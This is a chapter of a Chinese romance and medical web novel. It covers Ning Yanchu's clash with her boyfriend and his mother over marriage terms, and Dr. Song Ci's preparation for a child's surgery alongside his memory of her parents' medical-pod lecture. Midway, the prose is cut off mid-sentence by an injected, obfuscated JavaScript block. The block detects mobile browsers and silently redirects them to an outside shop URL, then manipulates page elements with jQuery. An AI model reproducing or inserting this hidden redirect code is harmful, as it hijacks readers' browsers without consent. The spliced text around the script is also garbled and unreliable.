29. 第 29 章
作品:《予我微光》 宁彦初轻轻吸了一口气,她没法回答这个问题。
对面似乎把她的沉默理解成了另一层意思,嘴里的话像是准备了很久,语速飞快地输出起来:“我知道你们大城市的女孩瞧不上我们这边儿的,嫌我们观念老,但是我们于家也是诚心想要娶儿媳妇。于望也是很优秀的,不然你也不会想要嫁给他,但最近于望心情不好,你也别嫌我多嘴,我估计是你们谈这些婚礼的事情不顺利,有些话他不好开口,反正于望认定你了,那我们以后都就一家人。我是长辈,按理来说这个应该由我和你爸妈来谈,但是吧,也好,就不复杂了。我扯着这张老脸来说,彩礼三万八,你不想办婚礼,那就回来,来我们老家请个酒,让我把以前随的礼收回来就行。听于望说你还要回北京,我一开始是不赞成的,因为于望工作在上海,别管你现在干什么现在什么样,女人总要回归家庭,但我也想通了,以后你们要是真去北京,反正你们在北京也有房子,我也没有意见……”
于望妈抓着固定电话话筒,说到这句时,手里捏着的是她的手机,手机屏幕上是一个微信对话截图,也许是老人家上了年纪眼神不好的缘故,微信里面的对话字号格外的大,一段话几乎占满了屏幕:
「妈,我觉得她应该以后还是要回北京。我想实在不行,我就申请调到北京看看,上海这边反正好的学区的房子我也暂时有些吃力,她家那边北京最好的学区有一套别墅,以后您也过来,足够住了。您上次哭,我其实挺难受的,知道您是心疼我,不过我也想开了,工作的事情,您也别为我可惜,放宽心一点,我在这儿干一辈子也赚不出北京那么一套房,而且那里也有很多机会,我的能力应该也能应付,这么想,是不是就感觉不亏了?」
宁彦初对母子私下这些对话完全不知情。
她听着于望妈的话,捏着手里的手机,指节因为用力而泛出青白,指尖的凉意顺着皮肤蔓延到四肢百骸。
她站在实验室楼下的梧桐树荫里,初秋的风卷着落叶擦过鞋面,带来一阵猝不及防的冷意。
原来有些话可以说的这么理所当然又这么的刺痛人心。
是那句“彩礼三万八,老家请酒收礼和女人总要回归家庭”吗?还是那个轻飘飘的“你父母,但是吧,也好”?
“阿姨,”宁彦初的声音很轻,装一丝不易察觉的颤抖,如果在几个月前,她还能比较强势地回绝,可是最近实验出问题,于望又一直一直发脾气,让她真的又疲惫又心酸,“我和于望……最近还没聊这些。不如……”
“没聊?”对面的语气瞬间拔高了几分,带着点不满,“你们都谈了这么久了,还有什么好聊的?小宁啊,不是我说你,女孩子家,别总揪着那些实验不放。于望跟我说,你天天泡在实验室,做不出个东西就算了,连个电话没也空接。他工作那么忙,领导那么器重他,正在上升期,还要反过来迁就你,你也得多为他想想,他是你以后的丈夫,是家里的顶梁柱。”
“天天泡在实验室,做不出个东西就算了”这是……于望跟她说的?
宁彦初只觉得面前的空气变得稀薄。
所以……原来在于望眼里“我不希望你这么累,你已经很优秀了。”其实……本质是这样的?
那之前的,这一年他们为了彼此的努力和陪伴,他下大雪开了十几个小时的车送她去北京,又其实是什么呢?
宁彦初垂下眼眸,吸了口气,语气听起来平和又冷淡:“阿姨,我这边还有个会,就先不……”
“开会开会,不研究就又要开会是吧?”于母的声音里满是不耐,“这些都能当饭吃吗?虽然我没你有文化,但是作为过来人,我告诉你小宁,女人啊,要珍惜,大好好时光就这么几年,值钱也就这么一段时间,我们于家娶媳妇,是要……”
后面的话,宁彦初已经听不清了。
手机贴在耳边,嗡嗡的电流声混着于母的指责,像一团乱麻,缠得她太阳穴突突直跳。她抬手按了按眉心,只觉得一阵眩晕。
她猛地挂断了电话,看着对面迅速再次拨过来的号码。
宁彦初直接点了屏蔽。
*
时间回到长椅上,于望表情有一瞬间的迷茫与疲惫,他这次说话很慢:“彦初,你最近对我怎么样我就不说了,你自己反省……但是,昨天你是不是挂了我妈的电话,还……拉黑了她?”
宁彦初没有说话,她也无话可说。
于望揉了揉太阳穴,情绪在宁彦初的沉默里迅速发酵,迅速被愤怒取代:“彦初,你太过了。我妈是长辈,不论她说什么,你把人随便拉黑,就是不尊敬!你自己想想,你是不是太过分了?”
如今面对这样烦躁的于望,宁彦初意外发现,她似乎已经习惯了,她之前身边男性总是温文尔雅的,父亲是,从小到大的老师是,于望反而成为了那个特例,他总能意肆无忌惮地对她生气指责,然后又道歉……
宁彦初一开始还觉得于望身上有他父亲的特质,让她安心。可曾几何时,于望不再温文尔雅,也不再体贴幽默,他的一切耐心和宠爱都被这样的态度取代。
“我妈她昨天晚上又哭了一晚上,就因为你的态度。你为什么就不能稍稍顺着她随便说两句都行,非要让一个老人这么伤心,她是我妈啊……我就这一个妈,从小到大都是她吃了大苦把我养大的,多不容易你又不是不知道!你到底有没有心?!”
说完,于望似想起什么,忽然冷笑一声:“你是不是觉得只有你的实验才是高尚的工作?没有人能配得上你是吧?宁彦初……你也不缺钱吧,怎么天天就知道倒腾那个什么医疗仓?科研基金给你拨了多少钱?这个投入使用后又能赚多少?值得你把身边所有的人和事都像垃圾一样扔后面?”
钱?又是钱!医疗仓赚钱?……
宁彦初看着对方张张合合的嘴巴,耳朵一阵又一阵放空,很荒谬,太荒谬了,她甚至有点想笑。
同一张嘴,同一个长椅,同一个路灯,时空就像是突然发生了扭曲错乱,把一个满心满眼、随叫随到、无条件支持包容她、爱她的男人,变成了这样。
还是这就是他本来的样子?
于望坐在长椅上冷笑的脸,和于母理直气壮的声音就这么互相缠绕交织成一张网,将她牢牢困住。
她做噩梦的情况其实在这些年里已经被慢慢改善了,尤其是宋辞强行拉着她运动的那段时间,每天累得沾床就睡。
梦里雪崩的轰鸣会淡一点,患者家属的嘶吼会远一点,连医疗仓猩红的报错代码,饱和度降低,都不再那么刺眼。她甚至能偶尔梦到小时候,当时还在德国,父母带着她去森林捡板栗,树很密,落叶很厚,踩在上面像是走在厚厚的地毯上,日子柔软安稳得不像话……
离开有宋辞的北京,她一开始很不习惯,但是她也知道她早晚得和那段时光了断,北京的人或者物就好像永远不会属于她。
她慢慢懈怠了运动,放下了心里的一切,沉迷实验无法自拔。
于望的强势出现,曾让她生出一种错觉,她是不是终于可以走出那些阴霾,放弃不切实际的幻想,接受一段正常的亲密关系,融入普通人的幸福生活了?
她真的有认真试过的。
试过在实验间隙,放下手里的数据,回他的消息;试过在周末抽出半天时间,陪他去逛公园、看电影;试过把那些关于医疗仓的委屈和挣扎,讲给他听。
她以为,于望也许会像宋辞一样,哪怕他不懂那些复杂的参数,也会一样懂她的坚持。
结果呢?
结果就是这样。
更让她绝望的是,本来已经好很多的睡眠,硬生生又被添上了一层新的噩梦。
现在的梦里,除了雪崩、嘶吼、猩红代码,还多了一张冷笑的脸,多了一串尖利的质问。
就比如现在。
*
时间回到北京。
宁彦初用手盖住了眼睑,甚至有些自嘲地想,不知道宋辞知道她又开始频繁做噩梦之后,会是什么态度?
宋辞……
宁彦初摸到了手机,打开微信对话框,发现了宋辞在三小时前给她发过一条新的消息「你好,吃了吗?的表情包」,这条信息甚至覆盖了她之前没有看到的「遵命,omakase安排【狗头】」
重温了一下两人之前的对话,宁彦初微微勾起嘴角,身体缓缓回温。
面对那些噩梦宁彦初早已轻车熟路,更何况这次微信里还躺着个可爱的问候。
宁彦初捏着手机从床上艰难爬起来,她一边向卫生间走,一边打开手机通讯录,她突然有了个想法,想立刻付诸实践。
而此时,医科大院内,宋辞捏着刚打印出来的术前检查报告,指尖的力道不知不觉加重。
报告上的各项指标红痕刺眼——乐乐的营养状况远低于同龄儿童,血红蛋白数值偏低,心肺功能储备也比预估的要弱,更棘手的是,孩子的脊柱侧弯角度在近期竟有小幅度进展,压迫到了部分神经根,导致他偶尔会出现下肢麻木的症状。
这些情况,都给原本就复杂的手术蒙上了一层阴影。他靠在办公桌的椅背上,闭了闭眼,脑海里闪过会诊时讨论:“患儿耐受度是关键,术中一旦出现生命体征波动,必须立刻终止手术。”
可终止手术意味着什么,他比谁都清楚,乐乐的病情拖不起,每多等一天,神经压迫的风险就会增加一分。
办公室的门被轻轻敲响,护士长推门进来,手里拿着乐乐的体温记录:“宋大夫,乐乐今天下午又低烧了,37.8℃,精神头也不太好,连牛奶都不肯喝了。”
宋辞猛地睁开眼,接过记录单,指尖划过那串体温数值,眉头拧得更紧。
低烧虽不算严重,却足以影响术前身体状态的稳定,更别说孩子还存在营养摄入不足的问题。
宋辞看了一眼时间,“今晚控制好,安排明天一早的儿科的营养科医生会诊,”他语速极快,声音里带着不容置疑的决断,“制定专属的营养补充方案,尽量通过口服补充,实在不行就考虑肠内营养剂。另外,密切监测体温变化,每两小时测一次,有异常立刻通知我。今晚我就在医院。”
护士长应声离开,办公室里又恢复了安静。
宋辞重新拿起那份手术方案,目光落在“全程麻醉监控”“半小时耐受度评估”那几行字上,笔尖在纸上反复圈划。
他不自觉地又想起宁彦初给的那些数据,医疗仓在术后修复阶段能显著提升机体耐受度,加速伤口愈合,降低并发症风险,或许,那个被他存起来的看起来天方夜谭的方案-2可以再往前推一步?
一个比之前大胆的念头出现在他脑海里。
这个想法近乎冒险,毕竟此前从未有过,一旦出了任何的问题……后果完全不堪设想。
宋辞没有丝毫犹豫,立刻打开电脑,调出宁彦初整理的医疗仓基础参数,开始测算术前干预的可行性。
屏幕的光映在他专注的脸上,键盘敲击声在安静的办公室里格外清晰。
他需要更精准的数据支撑,需要评估短期干预对患儿身体的影响,更需要和宁彦初好好聊聊这个想法。
指尖在通讯录里翻到宁彦初的名字,他顿了顿,看了一眼时间,以及下午到现在宁彦初没有回复的微信,最终还是没有按下了通话键。
算了,先这样吧。他先写着,就算这次不能实现,也许以后宁彦初在设计迭代医疗仓方案时,也肯能作为参考。宋辞这样安慰自己,并且把刚刚修改好的方案-2点了保存和关闭。
夜已经很深了,窗外一片漆黑,宋辞给家的群里发了一条「医院值班,不回。」就把手机放回到了桌面上。
宋辞做完这一切,靠在椅背上,指尖无意识地摩挲着桌面的木纹。电脑屏幕暗下去,渐渐浮现出淡蓝色的屏保,流动的光影里,他的目光落在桌角那叠沉甸甸的资料上,他突然想起一件事。
很多年前的事了。
那时他还是个刚入学的医学生,宁彦初父母也还没有出事。
他挤在礼堂最后一排的角落,整个礼堂座无虚席,连过道上都站满了人,所有人的目光都聚焦在台上,宁彦初的父母,宁教授和彦教授,正站在那里,讲台上的PPT翻到初代医疗仓的设计图,线条简洁却透着震撼人心的力量。
宁教授说话依旧温和,却和以往他们日常相处时的“宁叔叔”完全不同,字字掷地有声,后来宋辞才明白,那是一种名叫“敬畏”的语气。
“我们研发医疗仓,从不是为了追求什么前沿噱头,也不是为了名利。只是见过太多在生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217072|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死线上挣扎的患者,见过他们家属眼里的绝望,他们有些生活在边远地区,终其一生走不到有完整医疗体系覆盖到的地方,而另一些等着手术却熬不过术前的并发症,有的重症患者术后恢复慢,错过了最佳康复期。我们想做的,就是给这些人多一分活下去的希望,让医学不仅能治病,还能给人底气。”
彦教授穿着和在家里羊毛开衫完全不同的浅色套装,站在一旁补充,语气里满是对专业的热忱:“这个技术还不够成熟,还有很长的路要走,但我们相信,每一次数据的优化,每一次设备的改进,都可能为某一个患者推开一扇生门。但是我们的技术绝对不是在取代医生,正相反,我们希望我们的技术能更大的发挥医生的作用……”
宋辞记得,那天阳光透过礼堂的高窗照进来,落在宁教授夫妇身上,仿佛镀上了一层光。
他那时还是个连临床实践都没接触过的学生,第一次如此真切地触碰到医学的“未来”,不是冰冷的仪器和数据,而是藏在技术背后的、对生命的敬畏与温柔。
内心的冲击像潮水一样翻涌,有震撼,有敬佩,更有一股难以言喻的澎湃。他看着台上两位教授眼里的光,忽然更加地坚定了自己的方向:他也要成为这样的医生,用专业守护生命,成为别人的希望。
这件事,他从没跟宁彦初说过。
当了医学生以后,他才模糊知道自己的邻居宁教授夫妇在业内有多出名,他们的讲座邀约不断,宁彦初大概早就习以为常,或许还会觉得这些宣讲平淡。她不会知道,当年有个医学生,坐在礼堂的角落里,认真听完了整场讲座,把他们的话刻在了心里。
宋辞不说,或许是少年人心底独有的脆弱与骄傲。
彼时的他没有行医资格,没有救治过任何患者,突然接触医疗仓就像是第一次摸到天文望远镜的孩子,面前时浩瀚宇宙。
在那样光芒万丈的前辈面前,在那样值得仰望的技术面前,他觉得自己渺小又普通,那份被点燃的热忱与向往,像是藏在心底的秘密,羞于与人言说。
后来,他渐渐成长,从医学生变成独当一面的医生,经历过临床的艰难,见过太多生死离别,才更懂当年宁教授夫妇口中“希望”二字的重量。
再后来,他看着宁彦初继承了父母的遗志,毅然决然更改了自己的理论研究方向,转向了父母留下的医疗仓,在流言和梦魇里独自挣扎,踽踽独行,却始终没放弃。
宋辞相信他比任何人都懂她。
他见过她熬夜整理数据的样子,见过她面对质疑时沉默不语又加倍努力的样子,看着她在噩梦里惊醒却依旧不肯回头的样子……
现在,看着桌上堆叠的那些真实的厚重的资料和详实的数据,他忽然就想起了当年礼堂里的光。
宋辞微微挺直脊背,伸手拿起那叠资料,指尖划过上面密密麻麻的批注,字迹圆润饱满来自宁彦初。他眼底掠过一丝温柔的暖意。
不仅是为了乐乐,为了那些等着医疗仓带来希望的患者,更是为了守护那份从未熄灭的、属于他们的初心。
*
天刚蒙蒙亮,医院的走廊就褪去了深夜的静谧,渐渐有了细碎的脚步声和推车轱辘滚动的声响。
脊外的办公室里,窗帘没拉严,一丝浅灰色的天光钻进来,落在宋辞搭在椅背上的白大褂上,也落在桌角那杯早已凉透的咖啡上。
他昨晚几乎没合眼,就在办公桌前趴了两个多小时。乐乐的检查报告、初步治疗方案、可能的术前干预思路,在脑海里反复盘旋,再加上住院部那边每两小时一次的体温反馈,他直到天快亮时才稍稍眯了会儿。
醒来时,脸颊还带着纸张的褶皱印,眼角眉梢凝着掩不住的疲惫,眼底泛着淡淡的青黑,额前几缕碎发被夜汗濡湿,微微贴在光洁的额头上,连平日里一丝不苟的衣领都有些松散。
可即便如此,也没削弱他半分英气,尤其是那双眼睛,虽蒙着些许疲惫,却依旧清明透亮,像淬了晨露的寒星,锐利又温柔。
他揉了揉发胀的太阳穴,刚起身想去病房看看乐乐的情况,办公室的门就被轻轻敲响了。
是夜班护士,手里拿着体温记录单,语气带着几分欣慰:“宋医生,5号床乐乐早上测的体温是36.8℃,总算勉强退烧了!”
宋辞紧绷的神经稍稍松了些,接过记录单仔细看了看,指尖划过“36.8℃”的数值,嘴角终于不再那么平直:“知道了,她精神状态怎么样?有没有愿意吃点东西?”
“比昨天好多了,醒了之后跟她妈妈说了两句话,护士给带了小米粥,小口喝了半碗。”护士笑着补充,“小家伙还记着您昨天给的糖,攥在手里不肯放呢。”
“那就好。”宋辞点点头,叮嘱道,“再密切观察一小时,体温如果稳定,就通知儿科和营养科的医生,尽快把会诊结果送过来。”
“好的!”
小护士应声离开,恋恋不舍地又看了一眼宋辞,刚才进来她就发现宋医生应该是在办公室就这么凑活了一夜,估计还没有吃早饭,她真的很想抓住这个机会给他去带一份早餐……但是好像听说,他有个特别优秀的、感情稳定的女朋友,这时候做这个感觉有些刻意……小护士把遗憾压在心底,轻轻带上了房门。
也不知道啥时候能有机会见一见那个优秀的女朋友……她们护士站全体成员都对到底是什么样的女性能让宋辞这样的大夫死心塌地感到万分好奇。
办公室里重新恢复安静,宋辞走到窗边,拉开了窗户。盛夏早晨的热风吹进来,驱散了些许困倦。
他望着楼下渐渐热闹起来的院区,心里盘算着,乐乐退烧是个好信号,接下来就等会诊结果,根据营养状况和身体底子,调整术前调理方案,再敲定医疗仓术前干预的可行性。
他刚拿出手机,想再给宁彦初发个消息,问问她那边医疗仓数据修复的进展,口袋里的工作手机就突然响了起来。
屏幕上跳动的名字,让他微微一怔。
是院长。
这个时间点,院长亲自来电,大概率是为了乐乐的事。宋辞收敛心神,按下接听键,语气恭敬却沉稳:“院长。”
“宋辞,你在医院吧?”电话那头,院长的声音带着几分严肃,没有多余的寒暄,“来我办公室一趟。”

